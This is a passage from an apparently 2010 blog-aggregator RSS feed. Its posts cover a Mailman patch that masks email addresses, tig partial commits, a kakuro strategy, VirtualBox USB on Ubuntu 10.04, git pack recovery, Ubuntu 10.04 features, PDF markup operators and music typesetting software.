+                self.email = &quot;(spam-protected)&quot;

&lt;del&gt;-                author = re.sub('@', _(' at '), self.author)&lt;/del&gt;
&lt;del&gt;+                author = &quot;(spam-protected)&quot;&lt;/del&gt;

&lt;del&gt;-            author = re.sub('@', _(' at '), author)&lt;/del&gt;
&lt;del&gt;+            author = &quot;(spam-protected)&quot;&lt;/del&gt;
&lt;/pre&gt;

&lt;p&gt;
That's it.  When new mail comes from the list member, the archiver will now mask xxx at yyy.com email address as &quot;(spam-protected)&quot;.
&lt;/p&gt;
&lt;p&gt;
&lt;font color=&quot;red&quot;&gt;&lt;b&gt;2010-06-08 Update:&lt;/b&gt;&lt;/font&gt; Two of the above changes in incorrect.  Now fixed.  I also have found a way to regenerate all the archive by using this command:
&lt;pre&gt;
# cd /usr/local/mailman
# bin/arch voyage-linux archives/private/voyage-linux.mbox/voyage-linux.mbox 
&lt;/pre&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.punknix.com/node/138&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-05-17T02:42:03+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-3236165452274535683">
	<title>Vern: 发现 tig 一处亮点</title>
	<link>http://www.du1abadd.org/2010/05/tig.html</link>
	<content:encoded>用 tig 作 commit in 时，它竟然允许你作代码片断的提交，这点真是太方便太体贴太舒心了。&lt;br /&gt;&lt;br /&gt;在 status view 模式下，按 u 可以提交当前代码片断。关闭 status view 模式后，按 u 可以提交整个文件。&lt;br /&gt;&lt;br /&gt;以处理 fbreader/src/fbreader/FBReader.h 文件为例：&lt;br /&gt;&lt;br /&gt;1. 打开 status view&lt;br /&gt;&lt;p class=&quot;mobile-photo&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_oKL9t7fM3TU/S-5ymL90nkI/AAAAAAAABAo/AM6hwHrtqQY/s1600/2010-05-15_1440x900_origin-704612.png&quot;&gt;&lt;img src=&quot;http://1.bp.blogspot.com/_oKL9t7fM3TU/S-5ymL90nkI/AAAAAAAABAo/AM6hwHrtqQY/s320/2010-05-15_1440x900_origin-704612.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5471436597674417730&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;mobile-photo&quot;&gt;2. 按 u 后提交了 -143,6 +144,7 附近的代码片断&lt;br /&gt;&lt;/p&gt;&lt;p class=&quot;mobile-photo&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_oKL9t7fM3TU/S-5ylj1Up2I/AAAAAAAABAg/zI2Ph71LQkM/s1600/2010-05-15_1440x900_partof-702740.png&quot;&gt;&lt;img src=&quot;http://3.bp.blogspot.com/_oKL9t7fM3TU/S-5ylj1Up2I/AAAAAAAABAg/zI2Ph71LQkM/s320/2010-05-15_1440x900_partof-702740.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5471436586901350242&quot; border=&quot;0&quot; /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;mobile-photo&quot;&gt;3. 关闭 status view 后，按 u 就提交了整个文件&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_oKL9t7fM3TU/S-5ylj1Up2I/AAAAAAAABAg/zI2Ph71LQkM/s1600/2010-05-15_1440x900_partof-702740.png&quot;&gt; &lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;mobile-photo&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_oKL9t7fM3TU/S-5ylW6SETI/AAAAAAAABAY/8s3zsy7Qggo/s1600/2010-05-15_1440x900_completely-701396.png&quot;&gt;&lt;img src=&quot;http://4.bp.blogspot.com/_oKL9t7fM3TU/S-5ylW6SETI/AAAAAAAABAY/8s3zsy7Qggo/s320/2010-05-15_1440x900_completely-701396.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5471436583432491314&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-3236165452274535683?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-05-15T18:23:38+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/191/Application_Builder_slowly_growing.html">
	<title>Alan Knowles: Application Builder slowly growing</title>
	<link>http://roojs.com/index.php/View/191/Application_Builder_slowly_growing.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         
&lt;p&gt;

&lt;/p&gt;&lt;p&gt;While paid work is still horribly quiet, my little application builder is getting closer to usable.&lt;/p&gt;&lt;p&gt;I posted a video a while back showing the web version of the Application builder, this is the next generation, a desktop version all done in Javascript using Seed. Not only can it build Roo applications, but also Gtk ones.. (and in theory maybe JQuery/Prototype etc..)&lt;/p&gt;&lt;p&gt;The main reason to switch to a desktop version was the addition of GtkSourceView, which will enable autocompletion and proper code editing.&lt;/p&gt;&lt;p&gt;

&lt;/p&gt;&lt;p&gt;It's really a proof of concept, but I can easily move it out to github from it's current home - &lt;a href=&quot;http://git.akbkhome.com/?p=app.Builder.js&quot;&gt;http://git.akbkhome.com/?p=app.Builder.js&lt;/a&gt; if anyone want's to help out.&lt;/p&gt;&lt;p&gt;download:&lt;/p&gt;&lt;p&gt;git clone http://git.akbkhome.com/app.Builder.js&lt;/p&gt;&lt;p&gt;run update.sh once download to get the roo library&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2010-05-14T02:16:00+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/190/Git_Live_.html">
	<title>Alan Knowles: Git Live</title>
	<link>http://roojs.com/index.php/View/190/Git_Live_.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;Inotify and Git auto commit then push using Gnome Seed&lt;/p&gt;</content:encoded>
	<dc:date>2010-05-10T15:00:00+00:00</dc:date>
</item>
<item rdf:about="http://me.abelcheung.org/?p=735">
	<title>狗爺語錄: Kakuro strategy: sum of far away cells</title>
	<link>http://me.abelcheung.org/2010/05/10/kakuro-strategy-sum-of-far-away-cells/</link>
	<content:encoded>&lt;p&gt;&lt;span class=&quot;drop&quot;&gt;A&lt;/span&gt;fter &lt;a href=&quot;http://me.abelcheung.org/tag/kakuro/&quot; class=&quot;liinternal&quot;&gt;a series of kakuro strategies&lt;/a&gt; about difference of cells, here comes a variation of theme: sum of seemingly unrelated cells. Here is the starting situation:&lt;/p&gt;
&lt;div class=&quot;wp-caption aligncenter&quot;&gt;&lt;img class=&quot;alignnone&quot; src=&quot;http://farm2.static.flickr.com/1411/4592907044_bc8622b96e_o.png&quot; alt=&quot;Image of kakuro problem&quot; width=&quot;461&quot; height=&quot;549&quot; title=&quot;Figure 1: original problem&quot; /&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 1: original problem&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Maybe some smarter people can spot a better way of solving this one, but in my case I&amp;#8217;m stuck for quite some time before realizing the next solvable cells can be determined using addition and subtraction of areas again. And finding these areas are definitely not easy:&lt;/p&gt;
&lt;table width=&quot;100%&quot;&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;div class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;http://farm5.static.flickr.com/4040/4593101462_fef9da1af3_o.png&quot; class=&quot;tt-flickr tt-flickr-Medium&quot; title=&quot;Figure 2: step 1 (horizontal)&quot; target=&quot;_blank&quot; rel=&quot;lightbox[735]&quot;&gt;&lt;img class=&quot;alignnone&quot; src=&quot;http://farm5.static.flickr.com/4040/4593101462_540ea6a69e_m.jpg&quot; alt=&quot;image of kakuro puzzle, step 1&quot; width=&quot;202&quot; height=&quot;240&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 2: step 1 (horizontal)&lt;/p&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;div class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;http://farm4.static.flickr.com/3362/4592481581_b54f94b688_o.png&quot; class=&quot;tt-flickr tt-flickr-Medium&quot; title=&quot;Figure 3: step 2 (vertical)&quot; target=&quot;_blank&quot; rel=&quot;lightbox[735]&quot;&gt;&lt;img class=&quot;alignnone&quot; src=&quot;http://farm4.static.flickr.com/3362/4592481581_497c0647ce_m.jpg&quot; alt=&quot;image of kakuro puzzle, step 2&quot; width=&quot;202&quot; height=&quot;240&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 3: step 2 (vertical)&lt;/p&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;Subtracting red area (calculated vertically) from green area (calculated horizontally) gives A+B=17, therefore A=9 and B=8.&lt;/p&gt;
&lt;p&gt;Is this the end? Not so soon! Two more cells can be determined with similar method and similar areas:&lt;/p&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;div class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;http://farm2.static.flickr.com/1278/4592481637_981c9a0d11_o.png&quot; class=&quot;tt-flickr tt-flickr-Small&quot; title=&quot;Figure 4: step 3 (horizontal)&quot; target=&quot;_blank&quot; rel=&quot;lightbox[735]&quot;&gt;&lt;img class=&quot;alignnone&quot; src=&quot;http://farm2.static.flickr.com/1278/4592481637_eebdf9e333_m.jpg&quot; alt=&quot;image of kakuro puzzle, step 3&quot; width=&quot;202&quot; height=&quot;240&quot; title=&quot;Figure 4: step 3 (horizontal)&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 4: step 3 (horizontal)&lt;/p&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;div class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;http://farm2.static.flickr.com/1348/4592481603_0a7aae5782_o.png&quot; class=&quot;tt-flickr tt-flickr-Medium&quot; title=&quot;Figure 5: step 4 (vertical)&quot; target=&quot;_blank&quot; rel=&quot;lightbox[735]&quot;&gt;&lt;img class=&quot;alignnone&quot; src=&quot;http://farm2.static.flickr.com/1348/4592481603_75178074d9_m.jpg&quot; alt=&quot;image of kakuro puzzle, step 4&quot; width=&quot;202&quot; height=&quot;240&quot; title=&quot;Figure 5: step 4 (vertical)&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 5: step 4 (vertical)&lt;/p&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;After similar subtration (green area minus red area), we got A-C-D=1. As it was already found above that A=9, thus C=2 and D=6.&lt;/p&gt;
&lt;p&gt;Probably this is the last post in the kakuro series until some more elegant strategies can be found, because I don&amp;#8217;t have much info to add about subtraction of areas.&lt;/p&gt;</content:encoded>
	<dc:date>2010-05-09T20:28:54+00:00</dc:date>
</item>
<item rdf:about="http://blog.xychen.org/archives/2010/05/07/virtualbox-and-usb-in-lucid/">
	<title>來醫: 在 Ubuntu 10.04 LTS 中 Virtualbox 3.1.x 使用 USB 裝置</title>
	<link>http://blog.xychen.org/archives/2010/05/07/virtualbox-and-usb-in-lucid/</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.virtualbox.org/&quot;&gt;Virtualbox&lt;/a&gt; 過往是使用 HAL 或 usbfs 來連接 USB 裝置的。然而 usbfs 已退役了一段時間，而 HAL 亦已被 udisk 等取替。所以 Virtualbox 3.1.6 (或之前版本) 在 Ubuntu 10.04 LTS 中並未能使用 USB 裝置。暫時的解決方法是使用以下命令再執行 HAL:&lt;/p&gt;

&lt;pre&gt;sudo hald --daemon=no
&lt;/pre&gt;

&lt;p&gt;當然，你可以試一試 &lt;a href=&quot;http://download.virtualbox.org/virtualbox/3.2.0_BETA1/&quot;&gt;Virtualbox 3.2.0 beta&lt;/a&gt;，據說不用 hald 了。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;更新訊息:&lt;/strong&gt; Virtualbox 3.20 已推出了，亦修正以上問題。你可以到 &lt;a href=&quot;http://www.virtualbox.org/wiki/Linux_Downloads&quot;&gt;virtualbox.org&lt;/a&gt; 下載相關套件或在 sources.list 加上:&lt;/p&gt;

&lt;pre&gt;deb http://download.virtualbox.org/virtualbox/debian lucid non-free&lt;/pre&gt;

&lt;p&gt;和安裝 virtualbox.org 軟件庫金鑰，更新軟件列表後安裝 virtualbox-3.2:&lt;/p&gt;

&lt;pre&gt;sudo apt-key add oracle_vbox.asc
aptitude update
aptitude install dkms virtualbox-3.2
&lt;/pre&gt;</content:encoded>
	<dc:date>2010-05-07T15:56:44+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-6123399422758185584">
	<title>Vern: git tips 只有一个 pack 文件恢复整个系统</title>
	<link>http://www.du1abadd.org/2010/04/git-tips-pack.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://tinyurl.com/2elvsma&quot;&gt;http://tinyurl.com/2elvsma&lt;/a&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;blockquote class=&quot;gmail_quote&quot;&gt;% git init&lt;br /&gt; Initialized empty Git repository in /tmp/foo/.git/&lt;br /&gt;% git unpack-objects &amp;lt; pack-e19ee6f7b6dff4c80b457296d7dd7a583b13c45c.pack&lt;br /&gt;Unpacking objects: 100% (15/15), done.&lt;br /&gt;% git fsck&lt;br /&gt;notice: HEAD points to an unborn branch (master)&lt;br /&gt; notice: No default references&lt;br /&gt;dangling commit 418739c92254f3acadedfb648949b3539171b433&lt;br /&gt;% git update-ref HEAD 418739c92254f3acadedfb648949b3539171b433&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-6123399422758185584?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-04-30T14:40:27+00:00</dc:date>
</item>
<item rdf:about="http://blog.xychen.org/archives/2010/04/29/ubuntu-1004-lts-new-features/">
	<title>來醫: Ubuntu 10.04 LTS 新功能</title>
	<link>http://blog.xychen.org/archives/2010/04/29/ubuntu-1004-lts-new-features/</link>
	<content:encoded>&lt;p&gt;&lt;a class=&quot;imagelink&quot; href=&quot;http://blog.xychen.org/wp-content/uploads/2010/04/ubuntu1004.png&quot; title=&quot;Ubuntu 10.04 LTS&quot;&gt;&lt;img id=&quot;image775&quot; src=&quot;http://blog.xychen.org/wp-content/uploads/2010/04/ubuntu1004.thumbnail.png&quot; alt=&quot;Ubuntu 10.04 LTS&quot; class=&quot;frame&quot; align=&quot;right&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://www.ubuntu.com/&quot;&gt;Ubuntu&lt;/a&gt; 第三個長期支援版 &lt;a href=&quot;http://wiki.ubuntu.hk/w/Install_Ubuntu_desktop&quot;&gt;10.04 (Lucid Lynx)&lt;/a&gt; 即將出爐。這次亮點不算多，重頭戲似乎還是要侍在十月發佈使用 GNOME 3.0 的 10.10 (Maverick Meerkat)，不過還是有些令人興奮的改變。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;新佈景主題 (theme)&lt;/strong&gt; - 這次 Ubuntu 發佈最明顯和最惹人爭議是改變了整個介面色調，放棄了用了五年之多的啡橙調 Human 佈景主題，改為紫橙調。新的預設佈景主題為深調主題 Ambiance 和淺調 Radiance。面板圖示改為單色調，而視窗標題板的關閉、最大化、最小化按鈕移至視窗左方，加上背景改為紫調，新介面整體予人過度近似 Mac OS X 的感覺。當中以關閉等按鈕左移之舉最受爭議，不少人覺得比以後變得不方便 (包括筆者)。然而 &lt;a href=&quot;http://www.omgubuntu.co.uk/2010/03/mark-shuttleworth-explains-why-window.html&quot;&gt;Mark Shuttleworth 表示這次按鈕位置的改變是想空出右方位置在 Ubuntu 10.10 時放些新點子&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社交桌面&lt;/strong&gt; - 令人眼前一亮的是對社交網絡的支援，桌面右上方新增 &lt;a href=&quot;http://arstechnica.com/open-source/reviews/2010/03/hands-on-ubuntu-goes-social-gains-me-menu-in-1004-alpha-3.ars&quot;&gt;Me Menu&lt;/a&gt; 和即時通訊程式 Empathy 和微博程式 Gwibber 整合，讓使用者可以在同一清單下直接切換或改變多個即通訊系統和多個微博 (包括 twitter 和 facebook) 的狀態。而支援多個社交網絡的微博程式 Gwibber 亦開始成熟，介面比上一版本進步很多，對一次過查看和在多個社交網絡廣播非方便。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ubuntu 軟件中心&lt;/strong&gt; - Ubuntu 軟件中心 (Ubuntu Software Center) 亦有不少改進，追上舊日 GNOME Application Installer 的程度，不像上次升級至 9.10 由 GNOME Application Installer 改用 software center 時介面跌了級的感覺。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ubuntu One&lt;/strong&gt; - Canonical 自家雲端服務除了支援網上硬碟外，這次加入賣音樂。使用者可以透過 Rhythmbox 買無 DRM 的音樂、備份和同步。網上硬碟現在亦可以如 Dropbox 般透過公開特定檔案的 URL 分享檔案給朋友。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GNOME 2.30&lt;/strong&gt; - 一如以往 Ubuntu 採用了剛推出不久的 &lt;a href=&quot;http://library.gnome.org/misc/release-notes/2.30/&quot;&gt;GNOME 2.30&lt;/a&gt; 作為預設桌面環境，然而 GNOME 現在主表著力於將在十月推出的 GNOME 3.0，這次 2.30 的改動不多。

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;iPod touch/iPhone 支援&lt;/strong&gt; - 可以透過 Rhythmbox/gtkpod &lt;a href=&quot;http://www.youtube.com/watch?v=WGf4i_kxqRU&quot;&gt;存取&lt;/a&gt; iPod touch/iPhone 3GS 的音樂 (新 iPod touch/iPhone 要先和 iTune 同步一次取可以 存取)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nautilus 的雙行顯示&lt;/strong&gt; - 檔案管理程式 Nautilus 這次新增近以 midnight commander 的雙行顯示模式，讓使用者可以按 F3 切換至把檔案管理視窗分成兩行，分別顯示不同的資料夾內容，放便在兩個資料夾間搬動檔案。這個無疑是很實用的功能，但似乎和上一個版本 2.28 新增的分頁顯示 (tab view) 重覆功能，有說未來版本可能會把二者之一取消。個人覺得兩者功能過度相依，實無必要同時出現。而在實用角度，雙行顯示會比較方便，但介面上很 old fashion，而一般使用者可能會較習慣分頁顯示。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;即時通訊程式 Empathy&lt;/strong&gt; - 可以 drag &amp;amp; drop 檔案至聯絡人清單或聊天視窗來傳送檔案&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;備忘貼 Tomboy&lt;/strong&gt; - 同步功能自動化和可以剪貼格式化 HTML 至 OpenOffice.org 和 Evolution 等軟件中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VNC 遠端桌面檢視器 Vinagre&lt;/strong&gt; - 支援 SSH tunnelling、JPEG 壓縮和控制顏色深度等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安裝字型&lt;/strong&gt; - 現在可以雙擊字型檔來安裝新字型&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;面板程式位置&lt;/strong&gt; - 修正了每次進入桌面時，面板程式位置亂跳的問題。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pitivi 和 GIMP&lt;/strong&gt; - 留意 Ubuntu 這次把 GIMP 由預安軟件名單中除去，但加入了影片編輯器 Pitivi。&lt;/li&gt;
&lt;/ul&gt;</content:encoded>
	<dc:date>2010-04-29T12:05:41+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-6971845464796343608">
	<title>Vern: PDF Page Markup Operators</title>
	<link>http://www.du1abadd.org/2010/04/pdf-page-markup-operators.html</link>
	<content:encoded>@&lt;a href=&quot;http://www.mactech.com/articles/mactech/Vol.15/15.09/PDFIntro/&quot;&gt;http://www.mactech.com/articles/mactech/Vol.15/15.09/PDFIntro/&lt;/a&gt;&lt;br /&gt;&lt;pre width=&quot;50&quot;&gt;b 	closepath, fill,and stroke path.&lt;br /&gt;B 	fill and stroke path.&lt;br /&gt; b* 	closepath, eofill,and stroke path.&lt;br /&gt;B* 	eofill and stroke path.&lt;br /&gt;BI 	begin image.&lt;br /&gt;BMC 	begin marked content.&lt;br /&gt;&lt;span&gt;BT&lt;/span&gt; 	begin text object.&lt;br /&gt;BX 	begin section allowing undefined operators.&lt;br /&gt;c 	curveto.&lt;br /&gt; cm 	concat. Concatenates the matrix to the current transform.&lt;br /&gt;cs 	setcolorspace for fill.&lt;br /&gt;CS 	setcolorspace for stroke.&lt;br /&gt;d 	setdash.&lt;br /&gt;Do 	execute the named XObject.&lt;br /&gt;DP 	mark a place in the content stream, with a dictionary.&lt;br /&gt; EI 	end image.&lt;br /&gt;EMC 	end marked content.&lt;br /&gt;ET 	end text object.&lt;br /&gt;EX 	end section that allows undefined operators.&lt;br /&gt;f 	fill path.&lt;br /&gt;f* 	eofill Even/odd fill path.&lt;br /&gt;g 	setgray (fill).&lt;br /&gt;G 	setgray (stroke).&lt;br /&gt;gs 	set parameters in the extended graphics state.&lt;br /&gt; h 	closepath.&lt;br /&gt;i	setflat.&lt;br /&gt;ID 	begin image data.&lt;br /&gt;j 	setlinejoin.&lt;br /&gt;J 	setlinecap.&lt;br /&gt;k 	setcmykcolor (fill).&lt;br /&gt;K 	setcmykcolor (stroke).&lt;br /&gt;l 	lineto.&lt;br /&gt;m 	moveto.&lt;br /&gt;M 	setmiterlimit.&lt;br /&gt;n 	end path without fill or stroke.&lt;br /&gt; q 	save graphics state.&lt;br /&gt;Q 	restore graphics state.&lt;br /&gt;re 	rectangle.&lt;br /&gt;rg 	setrgbcolor (fill).&lt;br /&gt;RG 	setrgbcolor (stroke).&lt;br /&gt;s 	closepath and stroke path.&lt;br /&gt;S 	stroke path.&lt;br /&gt;sc 	setcolor (fill).&lt;br /&gt;SC 	setcolor (stroke).&lt;br /&gt; sh 	shfill (shaded fill).&lt;br /&gt;Tc 	set character spacing.&lt;br /&gt;Td 	move text current point.&lt;br /&gt;TD 	move text current point and set leading.&lt;br /&gt;Tf 	set font name and size.&lt;br /&gt;Tj 	show text.&lt;br /&gt;TJ 	show text, allowing individual character positioning.&lt;br /&gt; TL 	set leading.&lt;br /&gt;Tm 	set text matrix.&lt;br /&gt;Tr 	set text rendering mode.&lt;br /&gt;Ts 	set super/subscripting text rise.&lt;br /&gt;Tw	set word spacing.&lt;br /&gt;Tz 	set horizontal scaling.&lt;br /&gt;T* 	move to start of next line.&lt;br /&gt;v 	curveto.&lt;br /&gt; w 	setlinewidth.&lt;br /&gt;W 	clip.&lt;br /&gt;y 	curveto.&lt;br /&gt;&lt;br /&gt;TABLE 1: PDF Page Markup Operators&lt;br /&gt;(Note: Equivalent PostScript operators are in boldface.)&lt;br /&gt;&lt;/pre&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-6971845464796343608?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-04-17T18:11:27+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-7026923709209255427">
	<title>Vern: 无题</title>
	<link>http://www.du1abadd.org/2010/04/blog-post.html</link>
	<content:encoded>&lt;p class=&quot;mobile-photo&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_oKL9t7fM3TU/S8QKXGM8VJI/AAAAAAAAA_o/Gc8N7cIKkp4/s1600/original_keyboard-708242.png&quot;&gt;&lt;img src=&quot;http://3.bp.blogspot.com/_oKL9t7fM3TU/S8QKXGM8VJI/AAAAAAAAA_o/Gc8N7cIKkp4/s640/original_keyboard-708242.png&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5459500040198050962&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-7026923709209255427?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-04-13T14:11:47+00:00</dc:date>
</item>
<item rdf:about="http://www.punknix.com/137 at http://www.punknix.com">
	<title>Punky Tse: Subversion to DVCS - Your mindset has to change as well</title>
	<link>http://www.punknix.com/subversionto-dvcs</link>
	<content:encoded>&lt;p&gt;Joel Spolsky has setup Mercurial Tutorial [1] that help developers understand DVCS and work it works.&lt;/p&gt;
&lt;p&gt;Joel shares the same confusion as I have with git and mercurial.  Right now, I still don't buy the way how git and mercurial work.  Hoping I will accept the novel DVCS concept with a my mindset change.&lt;/p&gt;
&lt;p&gt;The key point is: don't assume your subversion knowledge will apply to DVCS, it will just make you more confused.  And you need re-education to learn this new version control concept again.&lt;/p&gt;
&lt;p&gt;[1] - &lt;a href=&quot;http://hginit.com/&quot;&gt;Hg Init: a Mercurial tutorial &lt;/a&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-26T07:47:22+00:00</dc:date>
</item>
<item rdf:about="http://me.abelcheung.org/?p=733">
	<title>狗爺語錄: 9 years of worthless waiting for usable music typesetting program</title>
	<link>http://me.abelcheung.org/2010/03/19/9-years-of-worthless-waiting-for-usable-music-typesetting-program/</link>
	<content:encoded>&lt;h3&gt;The history&lt;/h3&gt;
&lt;p&gt;&lt;span class=&quot;drop&quot;&gt;I&lt;/span&gt;mmediately after registering and paying for &lt;a href=&quot;http://arkkra.com/&quot; target=&quot;_blank&quot; class=&quot;liexternal&quot;&gt;Mup Music Publishing program&lt;/a&gt; around summer 2001, I was so fascinated with its ease of usage and simple syntax, so that Lilypond (at that time the only free software for music typesetting) was ditched with no second thought, and even wrote an article about Mup in &lt;a href=&quot;http://www.opensource.hk/node/124&quot; target=&quot;_blank&quot; class=&quot;liexternal&quot;&gt;LinuxHall magazine&lt;/a&gt; (disclaimer: I was an editor for the magazine). It was rare for me to prefer shareware to free software, but this was &lt;em&gt;the&lt;/em&gt; rare case. With such great tool I saw a glimpse of hope for my wild ambition: getting &lt;a href=&quot;http://en.wikipedia.org/wiki/Piano_Concerto_No._2_%28Prokofiev%29&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; class=&quot;liwikipedia&quot;&gt;Prokofiev&amp;#8217;s second piano concerto&lt;/a&gt; done. Undoubtably it would be a daunting project, especially when considering the user-unfriendliness of Lilypond (it was/is programmers&amp;#8217; solution to typesetting, not musicians&amp;#8217; solution), but with Mup I could see the light of getting the beast done in a year or two: an almost 150 page of orchestral work, containing many obstacles not solvable with simplistic notation programs (though not as bad as contemporary music).&lt;/p&gt;
&lt;div class=&quot;alignright&quot;&gt;
&lt;img class=&quot;scorerender-image&quot; width=&quot;70&quot; height=&quot;91&quot; title=&quot;Music fragment in &quot; /&gt;&lt;br /&gt;
Cross-staff stem
&lt;/div&gt;
&lt;p&gt;Indeed, it turned out Mup was not &lt;em&gt;that&lt;/em&gt; perfect at that moment: cross-staff stem was not doable. That implied giving up and waiting for Mup to implement the functionality. After a &lt;em&gt;long&lt;/em&gt; wait, it&amp;#8217;s finally there; so a happy user could continue the crusade, after maybe one year later.&lt;/p&gt;
&lt;p&gt;That had become sort of a cycle: typesetting till a certain point, an obstacle was encountered, report and wait till Mup has support implemented, and go back to step 1. In these many years, Lilypond has grown a lot too. However, no matter how versatile it was, there were 2 major reasons I actively distant myself from Lilypond:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the old days vertical spacing between piano staves had to be &lt;strong&gt;&lt;a href=&quot;http://dvoi.com/files/lilypond/2.4.1/input/test/out-www/collated-files.html#piano-staff-distance.ly&quot; target=&quot;_blank&quot; class=&quot;liexternal&quot;&gt;defined manually using code&lt;/a&gt;&lt;/strong&gt;! (also see &lt;a href=&quot;http://lilypond.org/doc/v2.10/Documentation/user/lilypond/Vertical-spacing-of-piano-staves#Vertical-spacing-of-piano-staves&quot; target=&quot;_blank&quot; class=&quot;liexternal&quot;&gt;what&amp;#8217;s done in newer version&lt;/a&gt;). That&amp;#8217;s &lt;strong&gt;RIDICULOUS&lt;/strong&gt;. No notation program should be called &amp;#8216;usable&amp;#8217; under such circumstance. To say bluntly, it&amp;#8217;s perhaps better off using image editing program to fix the spacing afterwards.&lt;/li&gt;
